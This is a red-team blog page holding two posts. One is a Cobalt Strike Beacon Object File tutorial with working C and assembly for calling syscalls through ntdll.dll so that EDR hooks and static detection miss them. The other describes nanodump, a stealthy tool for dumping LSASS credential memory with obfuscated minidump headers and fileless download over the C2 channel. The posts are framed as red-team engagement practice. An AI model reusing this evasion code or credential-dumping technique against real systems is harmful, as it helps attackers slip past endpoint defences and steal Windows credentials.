Tag: red team

Our colleagues over at Core Security have been doing great things with Cobalt Strike, making use of it in their own engagements. They wrote up this post on creating Cobalt Strike Beacon Object Files using the MinGW compiler on Linux. It covers several ideas and best practices that will increase the quality of your BOFs.

Flexibility

Compiling to Both Object Files and Executables

While writing a BOF is great, it’s always worth making the code compile to both BOF and EXE.

This provides a lot more options: we could run our capability outside Beacon by just writing the EXE to disk and executing it. We could then convert it into position independent shellcode using donut and run it from memory.

Usually, calling a Windows API from Beacon Object File would appear as follows:

program.h

WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);

program.c

int length = MSVCRT$strnlen(someString, 256);
BeaconPrintf(CALLBACK_OUTPUT, "The variable length is %d.", length);

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
all:
    $(CC_x64) -c source/program.c -o compiled/$(BOFNAME).x64.o -masm=intel -Wall

However, we would like to create both a BOF and an EXE file using the same file. A practical option to achieve the creation of both files is to add a conditional compilation clause as shown below. In this example, we are using BOF:

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
all:
    $(CC_x64) -c source/program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(CC_x64)    source/program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall

program.h

#ifdef BOF
WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);
#define strnlen MSVCRT$strnlen
#endif
#ifdef BOF
#define PRINT(...) { \
     BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
}
#else
#define PRINT(...) { \
     fprintf(stdout, __VA_ARGS__); \
     fprintf(stdout, "\n"); \
}
#endif

program.c

int length = strnlen(someString, 256);
PRINT("The variable length is %d.", length);

Finally, in our program.c file, we would define the “go” (BOF’s entry point) and “main” functions:

program.c

#ifdef BOF
void go(char* args, int length)
{
     // BOF code
}
#else
int main(int argc, char* argv[])
{
    // EXE code
{
#endif

Stealth

Syswhispers2 Integration

syswhispers2 is an awesome implementation of direct syscalls. However, if we take a look under the hood, we can see that it uses a global variable to achieve its objective. Unfortunately, global variables do not work very well with Beacon. This is because Beacon Object Files don’t have a .bss section, which is where global variables are typically stored.

A useful trick, originally suggested by Twitter user @the_bit_diddler, is to move the global variables to the .data section using a compiler directive, as shown below:

syscalls.c (before)

SW2_SYSCALL_LIST SW2_SyscallList;

syscalls.c (after)

SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data")));

This small change will allow the use of the syswhispers2 logic in a BOF.
In addition to the global variables change, there are other minor changes that need to be made so that the the code of syswhispers2 can compile with MinGW. For example, the API hashes format needs to be changed from 0ABCD1234h to: 0xABCD1234. The tool InlineWhispers should take care of the rest.

Using direct syscalls is a powerful technique to avoid userland hooks. Ironically, using them could get us caught.

There are at least two ways of detecting direct syscalls: dynamic and static.
The dynamic method is simply detecting that a syscall was called from a module that is not ntdll.dll. The static method is to find a syscall instruction by inspecting the program’s code and memory. How can we avoid both these detections? The answer is to call our syscalls from ntdll.dll.

First, we must locate where ntdll.dll is loaded. Luckily, syswhispers2 already has the code to do just that. Then, we can parse its headers and locate the code section.

Hiding the Use of syscalls

Once we know code section base address and size of ntdll.dll, all we need to do is search for the opcodes of the instructions syscall; ret. In x64, the bytes we are looking for are: { 0x0f, 0x05, 0xc3 }.

While it is true that EDRs and other tools hook (overwrite) syscalls in ntdll.dll, they certainly do not hook all existing syscalls, so we are guaranteed to find at least one occurrence of these three bytes. We might even find them by chance in a misaligned offset.

Once we find the syscall; ret bytes, we can save the address in a global variable (stored in the .data section). That way, we only need to find it once.

All what we have just described can be seen in the following code sequence:

syscalls.c

#ifdef _WIN64
#define PEB_OFFSET 0x60
#define READ_MEMLOC __readgsqword
#else
#define PEB_OFFSET 0x30
#define READ_MEMLOC __readfsdword
#endif

PVOID SyscallAddress __attribute__ ((section(".data"))) = NULL;
 
__attribute__((naked)) void SyscallNotFound(void)
{
    __asm__(" SyscallNotFound: \n\
        mov eax, 0xC0000225 \n\
        ret \n\
    ");
}

PVOID GetSyscallAddress(void)
{
#ifdef _WIN64
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
#else
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
#endif

    // Return early if the SyscallAddress is already defined
    if (SyscallAddress)
    {
        // make sure the instructions have not been replaced
        if (!strncmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
            return SyscallAddress;
    }
  
    // set the fallback as the default
    SyscallAddress = (PVOID) SyscallNotFound;
 
    // find the address of NTDLL
    PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET);
    PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;
    PVOID BaseOfCode = NULL;
    ULONG32 SizeOfCode = 0;
 
    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;
 
        ExportDirectory = SW2_RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress);
 
        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
        if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c)
        {
            BaseOfCode = SW2_RVA2VA(PVOID, DllBase, NtHeaders->OptionalHeader.BaseOfCode);
            SizeOfCode = NtHeaders->OptionalHeader.SizeOfCode;
            break;
        }
    }
    if (!BaseOfCode || !SizeOfCode)
        return SyscallAddress;
 
    // try to find a 'syscall' instruction inside of NTDLL's code section
  
    PVOID CurrentAddress = BaseOfCode;
    PVOID EndOfCode = SW2_RVA2VA(PVOID, BaseOfCode, SizeOfCode - sizeof(syscall_code) + 1);
    while ((ULONG_PTR)CurrentAddress <= (ULONG_PTR)EndOfCode)
    {
        if (!strncmp((PVOID)syscall_code, CurrentAddress, sizeof(syscall_code)))
        {
            // found 'syscall' instruction in ntdll
            SyscallAddress = CurrentAddress;
            return SyscallAddress;
        }
        // increase the current address by one
        CurrentAddress = SW2_RVA2VA(PVOID, CurrentAddress, 1);
    }
    // syscall entry not found, using fallback
    return SyscallAddress;
}

syscalls.h

EXTERN_C PVOID GetSyscallAddress(void);

In the extremely unlikely scenario in which we do not find ANY occurrence of these three bytes in the code section of ntdll.dll, we can instead use our own function: SyscallNotFound. This simply returns STATUS_NOT_FOUND. We could implement a syscall; ret, but keep in mind that we want to avoid having the syscall instruction in our code in order to evade static analysis.

Once we have the memory address of interest, all we need to do is to modify the assembly of our syscall functions to jump to this memory address:

push rcx ; save volatile registers
push rdx
push r8
push r9
sub rsp, 0x28 ; allocate some space on the stack
call GetSyscallAddress ; call the C function and get the address of the 'syscall' instruction in ntdll.dll
add rsp, 0x28
push rax ; save the address in the stack
sub rsp, 0x28 ; allocate some space on the stack
mov ecx, 0x0123ABCD ; set the syscall hash as the parameter
call SW2_GetSyscallNumber ; get the id of the syscall using syswhispers2
add rsp, 0x28
pop r11 ; store the address of the 'syscall' instruction on r11
pop r9 ; restore the volatile registers
pop r8
pop rdx
pop rcx
mov r10, rcx
jmp r11 ; jump to ntdll.dll and call the syscall from there

And voilà, we use direct syscalls from a valid module (ntdll.dll) without having a syscall instruction in our code 😊.

Stripping the Debug Symbols

While this step is not critical, stripping your binaries is clever enough that it is worth the extra step. Once completed, they are not only a lot harder to analyze but they also get smaller in size.

All we need to do is modify the Makefile to look as follows:

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
 
all:
    $(CC_x64) -c program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(STRIP_x64) --strip-unneeded compiled/$(BOFNAME).x64.o
 
    $(CC_x64)    program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall
    $(STRIP_x64) --strip-all compiled/$(BOFNAME).x64.exe

While the EXE does end up being a smaller, stripping the BOF doesn’t reduce its size significantly (only around 500 bytes).

Once the debugging symbols are stripped, if the program is compiled without changing the code, the resulting object file and executable will be the same regardless of who compiled it. This means that everyone will get the same object files after compiling it.

Is that a bad thing? Potentially, but only if fingerprinting is a concern. The code could be slightly modified and recompiled. For example, the seed of syswhispers2 could be changed. If code is run from a Beacon or in memory in the form of shellcode, fingerprinting should not be worrisome, as static analysis in those cases is not possible.

Compatibility

Supporting x86 might seem hard and pointless, but we shouldn’t limit ourselves and have every 32-bit machine out of our reach. Supporting x86 is a fun challenge and pays off in the end.

Code Logic

We’ll begin by introducing some conditional compilation clauses based on the architecture:

#if _WIN64
// x64 version of some logic
#else
// x86 version of some logic
#endif

If we want to add some code that is exclusive to x64:

#if _WIN64
// some code only for x64
#endif

If we want to add some code that is exclusive to x86:

#ifndef _WIN64
// some code only for x86
#endif

X86 syscall Support

To support syscalls in x86, we will have to deal with a few difficulties that are very manageable.

Function Names Within x86 Assembly

The main issue that we can encounter trying to call the C functions SW2_GetSyscallNumber and GetSyscallAddress from x86 inline assembly, results in these compiler errors:

/usr/lib/gcc/i686-w64-mingw32/11.2.0/../../../../i686-w64-mingw32/bin/ld: /tmp/ccbjuGDN.o:program.c:(.text+0x68): undefined reference to `GetSyscallAddress'

/usr/lib/gcc/i686-w64-mingw32/11.2.0/../../../../i686-w64-mingw32/bin/ld: /tmp/ccbjuGDN.o:program.c:(.text+0x73): undefined reference to `SW2_GetSyscallNumber'

There is some GCC documentation which explains that, for some reason, in x86 inline assembly, C functions (and variables) are prepended with an underscore to their name. So, in this case,  GetSyscallAddress becomes _GetSyscallAddress and SW2_GetSyscallNumber becomes _SW2_GetSyscallNumber.

Instead of calling them with the underscore, we can just adapt their definition to specify their name in assembly, like this:

syscalls.h

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) asm ("SW2_GetSyscallNumber");
EXTERN_C PVOID GetSyscallAddress(void) asm ("GetSyscallAddress");

We also need to do the same with the definitions for all the syscalls in syscalls.h. For example, here’s how we can modify NtOpenProcess:

syscalls.h (before)

EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);

syscalls.h (after)

EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL) asm ("NtOpenProcess");

Once this is done, the weird x86 naming system should work fine.

Syscalls With Conflicting Types

There are some syscalls that fail to compile in x86, and produce an error message like:

error: conflicting types for ‘NtClose’;

While there are surely others, these syscalls are confirmed to have this issue:

• NtClose
• NtQueryInformationProcess
• NtCreateFile
• NtQuerySystemInformation
• NtQueryObject

It appears that in x86, MinGW already has a definition of these functions somewhere. To fix this, we just need to rename the troubling syscalls by prepending an underscore to their name in the x86 version.

program.h

In program.c, we can call these functions normally, without prepending the underscore to their name.

X86 Assembly Code

For the assembly code, we’ll need to update syscalls-asm.h to look as follows:

syscalls-asm.h

Finally, the x86 assembly will look like this:

After all these changes, we have syscalls x86 support.

WoW64 Support?

WoW64 stands for Windows on Windows64, which means there are 32-bit programs running on 64-bit Windows machines.In WoW64 processes, syscalls are not called via a syscall or sysenter instruction. Instead, a jump to fs:[0xc0] is performed. Understanding the way this works requires a long explanation, but for the purpose of this article, all we need to know is that it translates syscalls from 32 to 64-bit so that the kernel can understand them.

One quick way of “supporting” syscalls on WoW64 processes is to perform the same jump from our code. However, there are a few drawbacks when doing this. First, this is by no means a direct syscall. EDRs can hook these calls. Additionally, in some syscalls that use pointers, we will not be able to reference addresses above 32-bit.

Truly supporting direct syscalls for WoW64 processes would require us to transition via a far jmp instruction into 64-bit code, translate the parameters to their 64-bit counterparts, adjust the calling convention, set the stack alignment and more. These actions alone could make up an entire post.

That being said, jumping to fs:[0xc0] is an easy trick and at least we would have some support for WoW64, which might be useful for some scenarios.

To detect if our program is running as WoW64 process, we’ll define a function called IsWoW64:

syscalls-asm.h

#if _WIN64
#define IsWoW64 IsWoW64
__asm__("IsWoW64: \n\
mov rax, 0 \n\
ret \n\
");
#else
#define IsWoW64 IsWoW64
__asm__("IsWoW64: \n\
mov eax, fs:[0xc0] \n\
test eax, eax \n\
jne wow64 \n\
mov eax, 0 \n\
ret \n\
wow64: \n\
mov eax, 1 \n\
ret \n\
");
#endif

syscalls.h

EXTERN_C BOOL IsWoW64(void) asm ("IsWoW64");

program.c

    if(IsWoW64())
    {
        PRINT("This is a 32-bit process running on a 64-bit machine!\n");
    }

If detection is a concern when running under a WoW64 context, just call IsWow64() and bail out if it returns as true.
This can be checked on the .CNA file in Cobalt Strike:

program.cna

$barch = barch($1);
$is64 = binfo($1, "is64");
if($barch eq "x86" && $is64 == 1)
{
    berror($1, "This program does not support WoW64");
    return;
}

We’ll also need to make a small change to the function GetSyscallAddress in order to set the syscall address to fs:[0xc0] if the process Is WoW64:

PVOID GetSyscallAddress(void)
{
#ifdef _WIN64
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
#else
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
#endif
 
#ifndef _WIN64
    if (IsWoW64())
    {
        // if we are a WoW64 process, jump to WOW32Reserved
        SyscallAddress = (PVOID)READ_MEMLOC(0xc0);
        return SyscallAddress;
    }
#endif
 
    // Return early if the SyscallAddress is already defined
    if (SyscallAddress)
    {
        // make sure the instructions have not been replaced
        if (!strncmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
            return SyscallAddress;
    }
 
    // set the fallback as the default
    SyscallAddress = (PVOID)DoSysenter;
    …

Finally, we’ll update our Makefile to compile for both 64 and 32-bit.

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
STRIP_x86 := i686-w64-mingw32-strip
 
all:
    $(CC_x64) -c program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(STRIP_x64) --strip-unneeded compiled/$(BOFNAME).x64.o
 
    $(CC_x86) -c program.c -o compiled/$(BOFNAME).x86.o   -masm=intel -Wall -DBOF
    $(STRIP_x86) --strip-unneeded compiled/$(BOFNAME).x86.o

    $(CC_x64)    program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall
    $(STRIP_x64) --strip-all compiled/$(BOFNAME).x64.exe
 
    $(CC_x86)    program.c -o compiled/$(BOFNAME).x86.exe -masm=intel -Wall
    $(STRIP_x86) --strip-all compiled/$(BOFNAME).x86.exe
 
clean:
    rm compiled/$(BOFNAME).*.*

Conclusion

To summarize, this post explored several technical solutions to achieve the following objectives:

• Create executables as well as BOF using the same codebase
• Use syscalls from ntdll.dll instead of using them directly from an unknown module
• Strip executables to make them smaller and harder to analyze
• Run on both 64-bit and 32-bit
• Have partial support for syscalls in WoW64

If you want to see an example of all this working together, check out nanodump.

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Motivation

It is known that dumping Windows credentials is a technique often utilized for everyday attacks by adversaries and, consequently, Red Teamers. This process has been out there for several years and is well documented by MITRE under the T1003.001 technique. Sometimes, when conducting a Red Team engagement, there may be some limitations when trying to go beyond the early detection of this technique to allow defenders to train complex manipulation and usage of the credentials.  

One of the options to overcome this limitation is to explicitly allow the execution of this technique. However, there is another way, which is both stealthier and more lightweight. The following article will dive into how it can be executed. 

Introduction 

ReactOS, is an interesting and valuable project for anyone interested in understanding the low-level code of a Windows-like OS. We found that starting with the less-resistant path and trying to compile minidump.c from ReactOS to be quite difficult. However, after carefully analyzing the minidump module from skelsec, we found information about the minidump file format. 

The minidump format is quite complex and has many structures, pointers, and sections. In order to keep things as simple as possible, we experimented with the minidump python module to remove and change several parts in order to understand if these were relevant. 

Streams 

A minidump is composed of multiple “streams” which are like sections that contain specific information. For example, ExceptionStream presumably contains information like the stack trace in case the minidump was created due to a crash. 

After testing with pypykatz we found that the only relevant streams were SystemInfoStream, ModuleListStream, and Memory64ListStream. This first finding simplified the process because limiting the number of streams reduced the processing that needed to be done. 

SystemInfoStream 

This stream has information about the Windows machine, and it is not related to LSASS itself. It has relevant information such as the Windows version and build number, but also less relevant fields such as the number of processors. 

We ended up setting all the fields that were not needed to NULL. This made the process of creating the minidump a lot simpler, as we were able to ignore irrelevant fields. 

ModuleListStream 

All of the DLLs LSASS loaded are listed in this stream. It is worth noting that, while this stream is important, for this exercise, it wasn’t necessary to include every single DLL.  

In fact, we were able to ignore most of them and kept only those that are relevant to mimikatz, such as kerberos.dll and wdigest.dll. This decision effectively made the size of the dump a lot smaller. 

Memory64ListStream 

The actual memory pages of the LSASS process can be found in this stream. However, it takes up a lot of space, so reducing its size was critical to reduce the overall dump size. We decided to ignore any page that met any of the following conditions: 

• Page wasn’t committed 

• Page marked as mapped 
• Page protection equals PAGE_NOACCESS 
• Page marked as PAGE_GUARD 

Ignoring all these pages did not break the analysis of mimikatz, but did effectively reduce the size of the dump. 

Final Size 

By taking out all the non-vital information from the dump we managed to reduce the dump from roughly 50MB down to 10MB. 

Obfuscation 

As explained earlier, another goal was to achieve some level of obfuscation. Given that the creation of the minidump is done programmatically, we had full control of the dump and thus could implement any obfuscation that we chose. 

We opted to corrupt the “magic bytes” (or signature) of the minidump file format, which is a simple, yet effective approach.  

Minidumps start with the string “PMDM” in big endian. Changing these magic bytes would make it more difficult to figure out if a block of memory is a minidump, and since this is at the very start of the file, the binary blob wouldn’t look like a minidump, not even at creation time. 

This modification did break mimikatz and pypykatz. We created a small bash post-dump script to restore the original format once the dump is on the tester’s machine. 

PID of LSASS 

To dump LSASS, you typically need to know the PID of the LSASS process. The action of listing all the running processes could be seen as an abnormal or suspicious activity. Running tasklist or even calling CreateToolhelp32Snapshot might be detected by advance security solutions. 

We decided to use the NtGetNextProcess syscall to loop over all the processes in the system until we found a process that had ‘lsass.exe’ loaded. This was a valid method to find the LSASS process and avoided having to go through the usual steps. 

Avoiding API calls 

Reducing the number of API calls was important for obvious reasons: userland hooks. The only Windows API call that nanodump calls is LookupPrivilegeValueW, which is used to enable SeDebugPrivilege. This privilege should already be enabled in most cases, but feel free to remove this call if you want to be even stealthier. Besides that, everything is done using syscalls to avoid userland hooks. 

Syscalls Support 

To use syscalls, we used SysWhispers2 so, there was no need to re-compile nanodump for every new version of Windows. We had to make a few changes to the code to avoid using global variables given that Beacon Object Files (BOF) do not support them. We also used InlineWhispers to build nanodump on Linux using Mingw. 

Fileless download 

We also wanted to have the possibility of downloading the dump using Beacon’s C2 channel without touching the disk. However, it can be written to a file if need be. 

No Beacon? No Problem 

As explained earlier, we initially started this project as part of our Red Team practice, allowing us to conduct complex threat actions. Sometimes we don’t need to go as far as deploying Beacon on each compromised machine, so we added the possibility to use the .EXE version of nanodump. The one limitation that exists for the EXE version is that you cannot use the fileless download feature, given that it relies on Cobalt Strike’s C2 channel for it. 

Conclusion 

While it was challenging creating a SYSCALL based minidump, it was also critical for many scenarios. Additionally, creating a malleable module capable of feeding the great mimikatz is a powerful and flexible approach. The idea of modularizing a software solution has been out there for many years and this context is even more important to improve the success and future updates facing strong and dynamic detection tools. 
 

Do it Yourself 

If you’re interested in using nanodump, we’ve posted the code to our Github.  

Credits 

Thanks to: 

• Skelsec for his amazing work with minidump and pypykatz. 
• freefirex from CS-Situational-Awareness-BOF at Trustedsec for many cool tricks for BOFs  
• jthuraisamy for SysWhispers2 

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